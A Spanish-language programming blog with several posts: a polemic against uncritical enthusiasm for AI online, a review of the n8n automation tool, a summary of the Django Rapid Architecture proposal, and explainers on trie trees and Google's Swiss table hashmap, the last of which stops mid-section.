Coffee bytes

El Nuevo Dios: El Delirante Culto a La AI en Redes

Sun, 03 May 2026 22:16:16 -0600

Hoy la AI me creo una función de 120 lineas, totalmente funcional y sin errores, pero no pudo refactorizarme dos miseras páginas de funciones en Python, usarla me ha costado más tiempo que si lo hubiera hecho yo mismo desde el principio; me borró funciones, y modificó el contenido de un par, al final me rendí. Este evento me recordó que quería escribir este post.

La funa hacia los que critican a la AI

Últimamente he notado un cierto aire de culto a la AI en las redes que va mucho más allá del falso entusiasmo hipócrita corporativo respecto a esta nueva tecnología; sí, la gente se encoleriza cuando las limitaciones técnicas de la AI son mencionadas por extraños en internet, como si hicieras el chiste más profano frente a tu tía religiosa.

Pareciera que estamos en la época de la santa inquisición, es imposible poner en evidencia la imperfección de la AI sin que un ejercito de inquisidores digitales te increpe por hereje.

Comentarios tan simples como: “prefiero dibujar a mano”, “la AI no lo hizo bien así que lo hice yo”, “el arte de AI no puede ser protegido por las leyes de propiedad intelectual” desencadenan un torrente de insultos en los que te tildan de ludita, anti-progreso y/o negacionista de los avances tecnológicos, , La última vez que lo presencié, fue en una publicación de Instagram. Una diseñadora gráfica defendía su capacidad de creación de logos en un reel. Comparaba sus logos con los de la AI. En minutos la sección de comentarios se llenó de adolescentes (Sí, vi sus fotos de perfil). Sus comentarios buscaban invertir su conclusión, afirmando que, al contrario de lo que la autora decía, era ella quien había sido la “papeada” por la AI, y no al revés.

El arte se ha considerado una cuestión subjetiva, incluso en tiempos de AI , pero en este caso no se trata de arte puro, sino de diseño, lo cual implica la necesidad de comunicación. Yo estoy de acuerdo con la creadora del reel. Indudablemente su trabajo era superior.

Podrás o no estar de acuerdo, pero ¿llegarías al punto de ofender a alguien por defender a la AI?

¿Por qué adoptan el rol de un guardaespaldas digital? ¿Por qué tomárselo tan personal? ¿Tienen acciones en alguna empresa de LLMs? ¿Les sucedió lo mismo que al pintor austriaco y tienen que contentarse con crear pinturas en Midjourney? No lo comprendo.

El culto corporativo a la AI, la obsesión por la productividad y la promesa de las ganancias infinitas

En el mundo corporativo también existe el culto, pero lo comprendo. Los gurús de la AI les prometieron a los inversionistas que podrían deshacerse de la mayoría de sus empleados y con ello reducir sus costos, elevando sus ganancias casi a al mismo nivel que sus egos. Esto provocó un fuerte interés y probablemente una burbuja financiera de AI

Es irrelevante si podrán hacerlo o no. Lo que es crucial aquí es notar que existe un conflicto de interés corporativo.

La obsesión corporativa por la AI tiene conflictos de interés

Los inversionistas adoptaron la idea e invirtieron fuertemente en convertir a sus empresas en entes AI-first, a pesar de que la evidencia dice que el 95% de las empresas no logran beneficiarse financiaeramente tras la adopción de la AI o que la AI falla en realizar proyectos remotos en este mismo porcentaje .

El dinero que apostaron hace normal que las empresas porten orgullosas el estandarte de la AI, puesto que su futuro económico depende de que así sea. Los CEOs de empresas relacionados deben promover la AI como la nueva panacea digital, sea esto verdad o no.

¿Le apostaron al caballo ganador? No lo sé, y tampoco creo que nadie lo sepa a ciencia cierta, pero sería ingenuo pedirle una opinión imparcial de la AI al mismo sujeto que la vende.

¿Qué dicen los estudios sobre el efecto de la AI en la sociedad?

Pero no tenemos que contentarnos con una opinión tan parcial. Los economistas estiman que la AI traerá una productividad infinita con una demanda económica de bienes y servicios que tiende a cero . El ecosistema perfecto para un colapso economico.

Según este estudio, existen soluciones, sí, pero, en mi opinión, son ideológicamente, complicadas de implementar:

UBI (Ingreso básico universal).
Impuesto a la automatización.
Programas de reentrenamiento (upskilling en inglés).
Participación de los trabajadores en el patrimonio de la empresa.

¿Saben los defensores de la AI sobre esto? ¿Si lo supieran cambiarían su postura?

El culto a la AI en las generaciones más jóvenes

Los más jóvenes se encuentren frente a una situación bastante incierta; si la AI tiene éxito, se enfrentarán a una crisis de empleo y reestructuración social como nunca antes vista. Si la AI no entrega lo que promete, tendremos una nueva crisis de las punto com pero con esteroides.

Sorpresivamente parece que este sombrío pronóstico tiene el efecto contrario en la juventud. Sus convicciones de que podrán posicionarse fácilmente en redes sociales creando textos y videos con AI o creando el próximo unicornio con una app hecha con Claude Code, mientras miran con desdén a los ilustradores y a los desarrolladores, se mantienen intactas.

Las personas creen que la AI saldrá del mundo digital y los salvará de las inclemencias del “día a día” que los amenazan. Les dió una excusa para renunciar a crear textos , ilustraciones, música, etc. puesto que “La AI puede hacerlo por mi”.

Me entristece, porque la gente desconoce lo realmente mal que escribe la AI (sí, incluso peor que yo), el tan marcado sesgo de positividad que tiene, y lo trivial que es darse cuenta de que un texto fue escrito con AI .

¿Ves lo que pasa por no saber como funcionan las matrices matemáticas?

El origen del hype de la AI

Sin entrar en dilemas morales sobre si es algo bueno o malo, yo atribuyo este entusiasmo desmedido a que redes sociales se ha convertido en una máquina de propaganda a favor de la AI. Es imposible navegar en redes sociales (particularmente en X), sin que 2 de cada 3 publicaciones estén relacionadas con la AI.

¿Los responsables? Los AI bros y un entorno que funciona como el caldo de cultivo perfecto.

La cámara de eco de los AI bros

Este tema merece un post aparte, pero por ahora bastan un par de párrafos. Los AI bros son una especie bastante peculiar, hace unos años no eran los expertos autoproclamados AI bros, sino veteranos crypto bros. Ahora que la burbuja crypto estalló migraron a la AI y van por ahí llenando los timelines de redes de FOMO, publicando cada semana titulares tan sensacionalistas como: “las 7 nuevas herramientas de AI que usarás al resto de tu vida”, “el nuevo modelo que lo cambia todo” (sí, por quinta vez en el año).

El hecho de que X pague por visualizaciones, junto al ingreso directo por la venta de cursos, intensifica la situación, crea la cámara de eco perfecta para dar la ilusión de que la AI está resolviendo todos los problemas del mundo mientras ~~doom~~ scrolleas en redes.

¿El problema? El mismo conflicto de interés que el mundo corporativo, la monetización (ya sea por venta de cursos o visualizaciones) no permite una visión imparcial de los avances de la AI, pues no se trata de ser preciso, sino de la oportunidad de vender el siguiente curso, o volverse viral. ¿Te acuerdas de Devin AI, la inteligencia artificial que iba a reemplazar a los programadores hace unos años?

La AI NO es la solución a todos los problemas… aún

Hay un delirio en la sociedad, la AI va a traer avances indudablemente, y ojalá automatice las tareas mundanas de escribir correos y memos corporativos. Pero no es un comodín para solucionar cada uno de los problemas del mundo, ¡ni siquiera para tener la razón siempre!

A pesar de tener casos tan asombrosos como el del CEO de Gitlab que se curó del cancer o la creación de una vacuna RNA para salvar a un perro de cancer por Paul S. Conyngham , la AGI aún está lejos.

“Es que no usaste el prompt correcto”, “usaste el modelo incorrecto”, “la AI lo hizo mejor desde el principio”. He usado AI lo suficiente para saber que no es tan sencillo. Toca iterar mucho, toca ser super específico y detallado. La AI es útil, pero no es mágica. El no determinismo que caracteriza a los modelos no siempre juega a favor, a veces un mismo estilo de prompt funciona y otras veces no.

Justamente es su naturaleza no determinista la que le permite, al mismo tiempo, una alta capacidad de adaptación, pero la vuelve impredecible y la descarta para tareas que exigen repetibilidad y precisión milimétrica. Usarla no está de ninguna manera mal, depender de ella y glorificarla sí.

Los límites actuales de la AI

Todo lo que escribí es solo para expresar mi desagrado a la idea de tratar a la AI como una deidad. Hacerlo acarrea delirios megalomaniacos y otros problemas muy graves , que parecen sacados de una novela escrita en conjunto por William Gibson y Clive Barker.

No debemos glorificar los algoritmos matriciales, sin importar que tan sofisticados sean. La AI no deja de ser un modelo matemático que un predice el token más probable, conveniente, sí, pero solo eso.

¿Has intentado jugar ajedrez contra ChatGPT? ¿O has visto como la AI falla estrepitosamente los esquemas de Winograd en cuanto te alejas de los más populares? ¿Has leído el código que genera o sus propuestas de bajo nivel? Es justo ahí donde se pone en evidencia su incapacidad para razonar.

Searle y Penrose aún tienen razón; la AI no es consciente y la inteligencia general quizás requiera alguna forma de conciencia.

La AGI aún está muy lejos, si es que es posible en primer lugar. Pero sus paladines digitales seguirán patrullando las redes para encarar a quien se atreva a blasferma contra su falso idolo de silicio.

Mi experiencia usando n8n y mi opinión

Fri, 27 Feb 2026 15:50:49 -0600

Llevo ya un tiempo utilizando n8n para automatizar procesos en páginas de Facebook, sitios webs, whatsApp y, combinándolo con otras herramientas. Después de este tiempo de uso, creo que ya puedo compartir una visión un poco más clara de lo que ofrece esta herramienta y si realmente vale la pena.

Si has vivido debajo de una roca o eres nuevo en el mundo de la tecnología, n8n es una herramienta de automatización bastante popular. Su principal atractivo es que te permite crear flujos de trabajo complejos de una manera muy visual: adios líneas de código, hola nodos; aquí solo tienes que arrastrar y soltar recuadros sobre un lienzo y conectarlos entre ellos.

Your browser does not support the video tag.

¿Qué se puede hacer exactamente con n8n?

En términos prácticos, casi cualquier cosa. La herramienta es increíblemente versátil. Puedes hacer que un proceso se active por un evento específico, como la llegada de un mensaje a WhatsApp o Telegram, una nueva entrada en un blog vía RSS, o incluso programarlo para que se ejecute de forma periódica (como un clásico cron en Linux del que ya te hablé en otra entrada).

Nodos en n8n

Todo en n8n gira en torno a los nodos. Estos son los bloques con una función única y específica que vas conectando visualmente para construir tu automatización.

Hay una enorme biblioteca de nodos “out of the box” para casi todos los servicios populares, todo muy normie: WordPress, Google Calendar, Telegram, y por supuesto, la mayoría de redes sociales. Los nodos hacen cosas concretas como: mandar un email, ejecutarse cada “x” minutos, monitorear un RSS cada “x” segundos.

También hay nodos más técnicos para crear condicionales (sentencias if), bucles, peticiones HTTP directas, o incluso ejecutar código propio en JavaScript y Python. Sí, leíste bien, nada de Rust, Go ni demás lenguajes esotéricos, puro lenguaje de script kiddies para hacer enojar a los devs de antaño.

Estos nodos se unen de manera que el output de uno(s) se vuelve el input del otro(s) y a la estructura que resulta de varios nodos conectados se le puede simplificar llamándolo flujo o flow, el cual se almacena en formato JSON y puedes verlos recien al abrir la app.

Soporte de n8n para la AI

Además, n8n ofrece soporte para la inteligencia artificial. Cuenta con nodos de agentes de IA donde puedes conectar tu modelo LLM favorito (OpenAI, Cohere, etc.) para que sea el cerebro de alguna tarea. Y permita que el LLM se conecte a herramientas ya predefinidas, como para agendar un evento, devolver un mensaje de texto, como en el Model Context Protocol , modificar un archivo de excel en linea, etc.

Seguro te suena familiar ¿no? son servidores MCP para n8n.

Soporte de base de datos en n8n

También incluye conectores a bases de datos como Redis, Supabase, PrismJS y herramientas que funcionan como pequeños servidores para interactuar con servicios externos.

n8n gestiona tus credenciales

Y no solo eso: gestiona tus credenciales de forma segura (cifradas, nada de archivos de entorno expuestos), para que no cometas la burrada de hardcodearlas en el código o dejarlas en un archivo que está expuesto al exterior.

Los flujos en n8n se pueden exportar

N8n te permite guardar tus flujos como plantillas para reutilizarlas o compartirlas con colegas o subirlas a git.

Además tiene un panel de control para monitorear todos los flujos en ejecución, viendo cuáles funcionan correctamente y dónde se producen errores para poder corregirlos al instante.

¿Puedo usar n8n sin saber programar?

Sí y no. No planeo mentirte con un falso discurso aspiracionista del estilo “aprende n8n en 24 horas y empieza a cobrar miles de dólares”, pero tampoco estoy para tirar tus ánimos al suelo diciéndote que si no eres un Tech-savvy no vas a poder.

¿Entonces? Mira, mi opinión es que si entiendes el concepto de un bucle, de una condición if/else y entiendes el formato JSON ya puedes hacer automatizaciones sumamente simples. Para crear algo más complejo tendrás que completar tus conocimientos, tienes que entender lo siguiente:

Qué es una REST API
Cuales son las diferencias entre una petición GET, POST, PUT, PATCH, OPTIONS, HEAD, DELETE, para que y cuando se usa cada una
Qué son headers en el contexto de una petición HTTP
Qué son parámetros en el contexto de una petición HTTP
Cómo funciona la autenticación en servicios de terceros por medio de tokens
Qué es un webhook
Conocimientos de las funciones más básicas de Javascript y/o Python

Probablemente con eso tengas cubierto lo mínimo para empezar a complicarlo. Además te advierto, n8n es una herramienta de automatización. No vas a crear el siguiente unicornio con ella, y ni siquiera he hablado de lo restrictivo de su licencia.

Lo que más me gustó de n8n

Gran cantidad de funcionalidades listas para usar

Sin duda, lo mejor es la facilidad para crear automatizaciones sencillas. La parte visual es genial, pero el verdadero valor está en que muchos servicios ya vienen “pre-configurados”. Te olvidas de tener que lidiar con llamadas a APIs complejas o instalar SDKs específicos de cada plataforma, la mayoría de los casos ya están cubiertos. Simplemente te concentras en la lógica de tu flujo y en pegar las claves API necesarias. La curva de aprendizaje es muy amigable.

N8n es perfecto para probar ideas

N8n es la herramienta de prueba definitiva, ya que permite probar ideas de automatización en un tiempo récord, de forma fácil y más visual, incluso sin tener experiencia previa en programación.

Fácil de respaldar y replicar

El sistema de plantillas JSON también me parece una gran característica. Poder compartir un flujo complejo con un compañero sin que este necesite el mismo nivel de conocimientos técnicos agiliza enormemente el trabajo en equipo.

Lo que no me terminó de convencer de n8n

Alto consumo de recursos

Pero no todo es perfecto. El principal “pero” que le encuentro es el excesivo consumo de recursos. El cual es, desde mi punto de vista, bastante exagerado. Las recomendaciones oficiales piden nada menos que 4 GB de RAM, 2 CPUs y 20 GB de espacio en SSD.

Puedo entender que por debajo hay un servidor y una infraestructura corriendo, montón de SDKs instalados, pero para lo que básicamente es un gestor de flujos, me parece una barbaridad. Estoy seguro de que los mismos scripts en Python o JavaScript que ejecutan esas automatizaciones funcionarían con menos de la mitad de estos requisitos.

Considera que probablemente la mayoría de empresas pequeñas estén ejecutando unos 5-10 flujos, un VPS de 4GB de RAM y 2 CPUs para ejecutar 10 scripts… no me convence al cien, sobre todo para startup minimalistas con recursos muy limitados.

Mira la cantidad de recursos que usa n8n comparado con una aplicación sencilla de Nextjs.

Actualización manual

Otro aspecto que no encuentro atractivo es que n8n requiere actualización manual, es necesario entrar a la terminal, y actualizar el paquete, reiniciar los servicios. Sí, es cierto, puedes programar esta actualización pero corres el riesgo de que si n8n rompe algo, tu aplicación fallará de un día para otro y no sabrías ni porque.

Se sobreestiman las capacidades de n8n

Quizás debido al excelente marketing, las personas creen que n8n es una navaja suiza que reemplaza el código por completo y entonces se crean expectativas irrealistas. No, n8n no puede servirte la misma cantidad de peticiones que un servidor dedicado en Rust, Go o cualquier otro lenguaje de bajo nivel. No, n8n no es un web scrapper para scrappear concurrentemente todos los productos de los más grandes e-commerces.

N8n es bueno para automatizar tareas por gente no técnica, es todo.

La licencia de n8n es más restrictiva de lo que la gente cree

El otro punto que me genera reservas es el tema de la licencia. A diferencia de muchos proyectos open source populares, n8n no usa una licencia MIT. Esto, en la práctica, limita un poco lo que puedes hacer con él. Por ejemplo, de acuerdo a usuarios de reddit, no está permitido alojar una instancia de n8n para cobrar a clientes por mantener sus flujos funcionando (un modelo de “automatización como servicio”).

Lo que sí puedes hacer es ofrecer servicios de consultoría o implementación, pero no un hosting directo. Entiendo que un proyecto tan ambicioso requiere un modelo de negocio sostenible, pero es una restricción a tener en cuenta si buscas la máxima libertad.

Esto lo tomé de un post de reddit, no es ningún tipo de consejo legal y tómalo con pinzas:

✅ What you CAN do

Use it internally within your own business for free.

Build automations for clients using their own n8n installation.

Charge for workflow creation, setup, and maintenance, but NOT for hosting or “selling n8n as a service.”

🚫 What you CANNOT do

Offer n8n as SaaS (Software as a Service).

Do white labeling (remove n8n branding and replace it with your own).

Charge customers to use “your” hosted instance of n8n.

Antes de creer a ciegas, asegúrate de consultar la licencia oficial de n8n aquí.

Te explico en que consiste la Django Rapid Architecture

Mon, 15 Dec 2025 22:16:00 -0600

El otro día estaba navegando por Reddit y encontré una propuesta de arquitectura para proyectos Django llamada “ Django Rapid Architecture ”. Es un documento corto con algunas pautas o principios. Como me gusta Django, y creo que Django es una de las mejores herramientas disponibles y que deberías usarlo , lo leí y te hice un resumen.

Django Rapid Architecture es una colección de patrones y modismos cuidadosamente seleccionados. Su objetivo es crear bases de código Django mantenibles. El autor afirma que se basa en más de 15 años de experiencia y más de 100 proyectos en producción.

¿Qué tiene de malo la arquitectura por defecto de Django?

Bueno, según el autor: las “apps” de Django están diseñadas para componentes reutilizables, no para lógica de negocio específica del proyecto. Forzar todo el código dentro de apps crea inflexibilidad: las Migraciones hacen que las decisiones de límites tempranos sean irreversibles, lo que dificulta el refactor necesario en proyectos dinámicos.

Además, las apps prefieren el “encapsulado vertical”, que agrupa vistas y modelos por funcionalidades. Para sistemas reales con dominios de negocio e interfaces interconectadas, esto no es ideal.

¿Cómo estructurar proyectos según Django Rapid Architecture?

En lugar de usar el paradigma por defecto de Django, estructura por capas:

mantén separados los datos (modelos/migraciones)
las interfaces (vistas HTTP/Management commands)
y la lógica de negocio (readers/actions).

Este “encapsulado horizontal” se alinea con la estratificación natural de Django, evita decisiones arquitectónicas tempranas que te aten y modela mejor dominios complejos.

Recuerda que Django es un monolito

El autor habla de que deberíamos abrazar los monolitos al principio, ya que son menos complejos y más mantenibles que los microservicios, y estoy totalmente de acuerdo: introducir complejidad innecesaria solo por hacerlo no te permite iterar lo suficientemente rápido, lo cual es crucial en un entorno que cambia tan rápido.

¿Cómo se ve la estructura de archivos en Django Rapid Architecture?

¿Y cómo se ve esto en la práctica? Pues algo así:

project/
├── actions
│   ├── some_domain.py
├── data
│   ├── migrations
│   │   ├── 0001_initial.py
│   └── models
│       └── some_model.py
├── interfaces
│   ├── management_commands
│   │   └── management
│   │       └── commands
│   │           └── some_management_command.py
│   └── http
│       ├── api
│       │   ├── urls.py
│       │   └── views.py
│       └── urls.py
├── readers
│   └── some_domain.py
├── settings.py
└── wsgi.py

La clave aquí es recordar que el código se divide en actions, datos, interfaces y readers.

Capas en Django Rapid Architecture

¿Cómo manejar los datos?

¿Qué hacer con los modelos?

Pon todos los modelos, sí, todos, dentro de una sola app llamada data.

Evita modelos ultra grandes y complejos con muchos métodos; la lógica compleja debería ser independiente de los modelos.

Evita la herencia que no sea la de Model de Django, así cualquier desarrollador puede ver el modelo y entender qué hace.

¿Y la lógica de negocio?

El código de lógica de negocio debería vivir en funciones simples con interfaces bien definidas, que operen sobre instancias de modelos, querysets o valores simples. Evita herencia compleja, mixins, decoradores, managers personalizados complejos a menos que sea absolutamente necesario.

¿Cómo lidiar con los readers?

Servir una respuesta en Django implica tres partes clave:

La consulta: se construye en la vista usando un queryset. Define qué filas/columnas traer, aplicando filtros, joins y optimizaciones. Algo de lógica puede estar en querysets personalizados.
Los valores: los datos que se enviarán. Los valores básicos vienen de los campos del modelo. La lógica de negocio compleja suele vivir aquí, en métodos del modelo (por ejemplo, get_absolute_url), transformando datos en bruto en valores útiles para la respuesta.
La proyección: la forma final de los datos para el cliente. Para una API JSON, es la serialización en un dict/list. Para HTML, es el renderizado de plantillas. Ambos usan los valores del paso 2. Aquí decides el formato exacto de salida.

Tipos de funciones en readers

Estoy simplificando esto; hay montones de ejemplos en el documento original, que te recomiendo leer a fondo. Pero los principales tipos de funciones para extraer y transformar datos de un modelo son:

Funciones de queryset: encapsulan construcciones de querysets. Usa composición y funciones de orden superior.
Funciones productoras: generan valores a partir de instancias de modelos, funciones que reciben una instancia y devuelven algo.
Funciones proyectores: se basan en productores, devuelven un diccionario que mapea uno o más nombres a uno o más valores.

actions

Las APIs REST son complejas y no uniformes. Por eso deberíamos olvidarnos de todos los verbos HTTP secundarios y quedarnos solo con POST y GET.

Además, deberíamos asegurarnos de que una sola URL se mapee a una sola vista, que responda solo a GET o POST, no a ambas. Esto es algo similar al paradigma de RPC y gRPC , del que ya hablé antes.

Interfaces

SSR con plantillas de Django es lo mejor

Generar HTML en el servidor en lugar de usar una API con React puede aumentar la productividad. Se recomienda usar HTMX combinado con Django ; el documento también considera este enfoque superior a usar React.

Anida interfaces para evitar complejidad

Puedes organizar tu código para que imite la jerarquía de segmentos de tus URLs.

project/interfaces/http/urls.py
project/interfaces/http/api/urls.py
project/interfaces/http/api/admin/urls.py
project/interfaces/http/api/admin/widgets/urls.py
project/interfaces/http/api/admin/widgets/views.py

Management commands

Los Django Management commands también son una interfaz y deberían tratarse de forma similar a las vistas.

¿Dónde puedo aprender más sobre Django Rapid Architecture?

Recuerda que este texto es solo un resumen con las ideas principales; si quieres profundizar en esta propuesta de arquitectura llamada Django Rapid Architecture , lee el documento original. Te prometo que es corto, solo de unas pocas páginas, con algunos ejemplos más y la justificación de algunas decisiones.

Cree Un Simulador Visual De Un Trie Tree

Sun, 21 Sep 2025 00:00:00 +0000

El otro día estaba leyendo la segunda parte de System Design Interview , ¿o era la primera? y recuerdo que el autor usaba un trie tree para diseñar un buscador con autocompletado estilo Google. Nunca había escuchado de esa estructura de datos, así que decidí crear un simulador visual para que lo entiendas más rápido y mejor.

Además de su uso más común: sugerencias de text, también puedes encontrar trie trees en coincidencia de secuencias de ADN en bioinformática, en ruteo de comandos en CLIs, compiladores y detección de patrones en seguridad, por mencionar solo algunos casos.

Trie Trees: La estructura de datos que piensa en prefijos

Cuando trabajas con strings en programación—ya sea autocompletado, sugerencias de búsqueda (como ya mencioné) o incluso diccionarios—tarde o temprano te toparás con algo llamado Trie Tree. El nombre puede sonar rimbombante, pero la idea es bastante sencilla una vez que la entiendes.

Vamos a ver en qué se diferencia de un árbol binario, para qué sirve y en qué situaciones simplemente apesta.

Entonces, ¿qué es exactamente un Trie Tree?

Un Trie (se pronuncia en inglés igual a “try”) es un tipo especial de árbol que guarda strings por sus prefijos. En lugar de almacenar palabras completas en cada nodo, cada nivel del árbol representa solo un carácter. Si sigues un camino desde la raíz hasta un nodo, básicamente estás trazando un prefijo.

Por ejemplo, almacenar “cat” y “car” compartiría los dos primeros pasos (“c” → “a”), y luego se separan en la “t” y la “r”. Es como organizar palabras no por la cadena completa, sino por sus prefijos en común. Como los morfemas, que sirven de base para variaciones de palabras.

graph TD; Root-->C; C-->A; A-->T; A-->R;

Piénsalo como un árbol genealógico, pero en vez de caras usas letras.

¿Cómo se diferencia de un árbol binario?

A primera vista podrías pensar: “¿Un trie tree no es básicamente un árbol binario?” Pues no, lamento desilusionarte. Un árbol binario se organiza alrededor de dos nodos hijos (izquierdo y derecho), normalmente para ordenar números o balancear estructuras.

Un Trie, en cambio, no se preocupa por números ni por ordenarlos. Puede tener tres, cuatro o tantos hijos como caracteres existan (bueno, solo de la A a la Z).

graph TD; Root-->D; D-->E; E-->A; A-->L; D-->O; D-->I; I-->G;

Aquí algunas diferencias sutiles:

Árbol binario: Piensa en un bibliotecario que ordena libros por números o alfabéticamente. Cada rama izquierda es “menor”, cada rama derecha es “mayor”.
Trie tree: Piensa en agrupar libros por títulos compartidos. Cada rama es una letra más hasta terminar la palabra.

Por eso los tries brillan con strings y se ven forzados si los quieres tratar como lo que no son, árboles binarios (como tus relaciones amorosas), así que no lo hagas.

¿Para qué se usan los trie trees?

Los tries aparecen en más lugares de los que pensarías. Algunos ejemplos:

Autocomplete: Cada vez que tu celular sugiere “pizza” después de escribir “pi,” probablemente hay un trie detrás. Hace las consultas ~~ridículamente~~ rápidas.
Correctores ortográficos: Pueden comprobar en un instante si una palabra está en el diccionario (similar a una Swiss Table o a un Bloom Filter ).
Ruteo de IPs: Las redes usan esta misma idea de coincidencia de prefijos para decidir a dónde enviar los paquetes.
Juegos de palabras: ¿Has usado ayudas de Scrabble en línea?

La idea central es que no buscas toda la palabra de un solo jalón—buscas por fragmentos, prefijos y caminos, lo que hace las cosas mucho más rápidas y fáciles.

Construyendo uno (a la minimalista)

Ok, ¿cómo construir uno? Bueno, este algoritmo seguro está en mil blogs ya, pero aquí va una vez más:

Empieza con un nodo raíz (una celda vacia).

graph TD; Root;

Para cada palabra, recorre sus caracteres uno por uno.
Si un carácter no existe en el nodo actual, crea un nodo hijo para él.

graph TD; Root-->C;

Baja a ese hijo y repite hasta guardar la palabra completa.

graph TD; Root-->C; C-->A; A-->R;

Marca el nodo final como “fin de palabra” (puedes usar un asterisco o lo que quieras).

graph TD; Root-->C; C-->A; A-->R*;

Eso es todo. Para “car,” harías raíz → “c” → “a” → “r.” Para “cat,” reutilizas “c” → “a” y solo agregas una “t.” Justo como en el simulador de arriba.

graph TD; Root-->C; C-->A; A-->R*; A-->T*;

En código, normalmente se reduce a un diccionario de diccionarios (o mapas dentro de mapas) con una bandera que indica cuándo termina una palabra.

Las desventajas, porque nada es perfecto

Los trie trees cargan con algunos problemas:

Consumen mucha memoria: Pueden crecer demasiado si guardas muchas palabras, sobre todo con alfabetos grandes, piensa en los tries de Google.
Sobrecarga de implementación: Un simple array o un hash lookup suele ser más sencillo y rápido para datasets pequeños; de otro modo es un overkill.
Cache-unfriendly: Como los nodos pueden estar dispersos en memoria, acceder a ellos puede ser más lento en máquinas reales comparado con algo compacto como un hash table, así que implementar un sistema de caché puede complicarse.

Las ventajas (y por qué los devs los aman igual)

Aquí es donde realmente lucen:

Búsquedas rápidas: Verificar si una palabra existe es tan rápido como deletrearla.
Amigables con prefijos: Autocompletado y búsquedas por prefijo salen sin esfuerzo.
Ordenados por defecto: A diferencia de los hash maps, las palabras en un trie salen naturalmente en orden alfabético, aunque las cosas se complican en idiomas como japonés o chino.
Almacenamiento compartido: Los prefijos comunes solo se guardan una vez, lo que ahorra espacio si tu dataset tiene mucha superposición. Además, como muchas palabras provienen de morfemas, el árbol puede almacenar muchas variaciones en mínimo espacio.

Son devoradores de memoria, pero rapidísimos cuando estás constantemente verificando o sugiriendo palabras.

Rendimiento Big O y los Trie Trees

¿Y qué pasa con el rendimiento y la notación Big O ? Esta estructura de datos tiene un rendimiento de O(L), donde L es la longitud de la palabra. El peor caso es una palabra muy larga, o frases enteras, pero nada más.

¿Cómo optimizar un Trie Tree?

Existen técnicas para optimizar memoria si quieres sacarle más jugo a esta estructura. Y como la memoria es el talón de Aquiles de los tries, es justo ahí donde conviene mejorar.

Puedes usar arrays en lugar de hash maps para los hijos.
Si trabajas con un alfabeto fijo puedes usar representaciones con Bitmask.
Puedes almacenar contadores de prefijos en cada nodo para saber fácilmente cuántas palabras empiezan con cierto prefijo.
También puedes guardar metadata extra en los nodos (como frecuencias para escritura predictiva).

El final de mi post sobre trie trees

Probablemente no uses esta estructura de datos todos los días, a menos que trabajes en buscadores, autocompletado u otras tareas similares, pero sí aparecen seguido en sistemas grandes y complejos. Aun así, creo que muestran cómo se puede afinar el rendimiento de formas bien inesperadas.

Algunas implementaciones de Trie trees

Por favor no reinventes la rueda, aquí hay implementaciones de la comunidad ya probadas:

Swiss Tables el hashmap con rendimiento superior

Sun, 21 Sep 2025 00:00:00 +0000

El Hash Map Recibió una Actualización Tipo “Navaja Suiza”

Seguramente ya has usado hashmaps antes, pero el asunto aquí es que los usas y te olvidas de sus entrañas. Limitas tu conocimiento de los hashmaps a obtener y asignar llaves, tal vez iterar sobre ellos, y ya.

hashmap.get("key")
hashmap.set("key", value)
// o
hashmap["key"] = value

Cada lenguaje que vale la pena aprender tiene su propia implementación, ya sabes, la forma en que funciona “bajo el cofre”. Y la mayoría de los devs ni se preocupa por eso, lo cual está bien, yo apoyo las abstracciones de alto nivel.

El punto es que, recientemente, Go decidió cambiar su implementación por defecto de hashmap de Buckets a Swiss tables buscando un mejor rendimiento ~~tratando de imitar el performance de Rust~~. Y esto ya ha rendido frutos para algunas empresas ahorrándoles cientos de gigabytes .

Por cierto, fue Google quien creó las Swiss tables (bueno, uno de sus ingenieros), y también protobuffers y GRPC . Siempre están mejorando el rendimiento de lo que ya existe.

Entonces, ¿Cuál es la Gran Idea Detrás de las Swiss Tables? Todo Está en la Metadata.

Los hash maps tradicionales con open-addressing guardan tus pares llave-valor en un gran arreglo. Cuando insertas un elemento, se hace un hash de la llave para encontrar su “asiento” en el arreglo. Si ese lugar ya está ocupado, vas buscando el siguiente espacio disponible, y así sucesivamente.

Slot 1	Slot 2	Slot 3	Slot 4	Slot 5	Slot 6	slot 7	slot 8	slot 9	slot n
→	→	→	→	↓
1	1	1	1	Libre

¿Y esto qué tiene de malo? En realidad, nada, salvo que en ciertos escenarios puede volverse un desastre. Para encontrar un elemento, o confirmar que no está, quizá tengas que recorrer medio arreglo. Eso es lento.

Slot 1	Slot 2	Slot 3	Slot 4	Slot 5	Slot 6	slot 7	slot 8	slot 9	slot n
1	1	1	1	1	1	1	1	Libre

Las Swiss Tables atacan este problema engorroso con una idea brillante: un arreglo separado de metadata. Por cada espacio en el arreglo principal de datos, hay un byte correspondiente en el arreglo de metadata.

Este byte no es solo una “tombstone” o un flag de vacío; es un conjunto comprimido de información útil. La parte más crucial son los 7 bits del hash de la llave almacenados en ese slot.

Meaning Control bit	Control bit	Bit 1	Bit 2	Bit 3	Bit 4	Bit 5	Bit 6	Bit 7
Vacío	1	0	0	0	0	0	0	0
Lleno	0	0x3A
Borrado	1	1	1	1	1	1	1	0

Esto cambia las reglas del juego. ¿Por qué? Porque para verificar si un slot podría contener tu llave, no necesitas tocar para nada el arreglo principal de datos. Primero puedes revisar la metadata. Esto es una ganancia enorme para el rendimiento.

Un Recorrido Paso a Paso por la Estructura de Datos de las Swiss Tables

Bien, ya hablamos de la “magia esotérica” de la metadata. Pero, ¿cómo funciona paso a paso cuando insertas my_app[“value”] = value y cuando preguntas por my_map[“apple”]?

Insertando una llave y su valor en una Swiss Table

Cuando buscas una llave, el proceso general va así:

Se hace hash de la llave.
Se decide el grupo o bucket usando h1.
Se localiza el slot o bloque destino usando h2.
Si el slot ya contiene nuestra llave, simplemente se actualiza.
Si ningún slot contiene nuestra llave, se busca uno vacío.
Si todos los slots están ocupados, saltas al siguiente grupo.

Hashear la llave

Primero, la llave “apple” pasa por una función hash robusta. Esto produce un hash completo de 64 bits. Digamos que es algo como 0x5A3F9C42B1D08E3A (un número hermoso y aleatorio). Ahora, las Swiss Tables hacen un truco elegante: dividen este hash en dos partes:

57 bits (llamado h1)
7 bits (llamado h2)

H1	…	H1	H2
10101110	…	11100010	0x3A

Decidir el grupo inicial usando h1

Los primeros 57 bits (0x5A3F9C42B1D08E…): Esta parte del hash determina a qué grupo inicial o “bucket” pertenece la llave.

0x5A3F9C42B1D08E % 2

Localizar el bloque destino

Los últimos 7 bits bajos (0x3A): Este es el “probe index”. Le dice al mapa en cuál de los 8 o 16 slots (o “bloques”) empezar a buscar.

Recuperar el valor de una llave

Cuando buscas una llave, el proceso general va así:

Se hace hash de la llave.
Se decide el grupo o bucket usando h1.
